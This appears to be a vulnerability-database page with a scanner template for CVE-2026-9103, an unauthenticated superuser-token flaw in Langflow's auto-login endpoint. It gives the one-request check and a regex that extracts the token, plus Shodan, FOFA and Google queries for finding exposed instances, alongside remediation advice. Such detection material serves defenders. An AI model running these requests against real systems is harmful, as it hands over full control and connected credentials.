Langflow OSS - Superuser Token Issuance
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Security Bulletin: Unauthenticated Superuser Token Issuance via Auto-Login Endpoint | 2 Jul 202619:28 | – | ibm | |
| Exploit for CVE-2026-9198 | 21 Jul 202611:14 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 24 Jul 202620:50 | – | githubexploit | |
| CVE-2026-9103 | 17 Jul 202618:49 | – | attackerkb | |
| CVE-2026-9103 | 17 Jul 202619:20 | – | circl | |
| CVE-2026-9103 | 17 Jul 202618:49 | – | cve | |
| CVE-2026-9103 Unauthenticated Superuser Token Issuance via Auto-Login Endpoint | 17 Jul 202618:49 | – | cvelist | |
| EUVD-2026-45258 | 17 Jul 202618:49 | – | euvd | |
| CVE-2026-9198_exploit | 16 Sep 202613:16 | – | kitploit | |
| cve-2026-9198_exploit | 14 Sep 202617:21 | – | kitploit |
10
id: CVE-2026-9103
info:
name: Langflow OSS - Superuser Token Issuance
author: str4k3r
severity: critical
description: |
Langflow OSS with default AUTO_LOGIN exposes `/api/v1/auto_login`, which returns a superuser access token to any unauthenticated request.
impact: |
An unauthenticated attacker obtains a superuser access token, granting full control of the Langflow instance including flow creation and execution, which typically leads to remote code execution and access to connected credentials and data sources.
remediation: |
Disable AUTO_LOGIN by setting `LANGFLOW_AUTO_LOGIN=false`, configure strong superuser credentials, upgrade to a fixed Langflow release, and restrict network exposure of the management interface.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-9103
- https://github.com/langflow-ai/langflow
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-9103
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: langflow-ai
product: langflow
framework: fastapi
shodan-query: http.title:"Langflow"
fofa-query: title="Langflow"
google-query: intitle:"Langflow"
tags: cve,cve2026,langflow,langflow-ai,auth-bypass
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/auto_login"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '"access_token"\s*:\s*"[^"\r\n]+"'
- '"refresh_token"\s*:\s*null'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"\r\n]+)"'
# digest: 4a0a004730450220350b27adbe0cb4305e54d2d995dcd11c75afe8a95b2f44d16af95db66761f5fa02210091d2e0993eb6198ec18938c22b36685956c9559de8cac98b5ffa950d98a10c2f:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Sep 2026 20:54Current
CVSS 3.19.8
EPSS0.00722
SSVC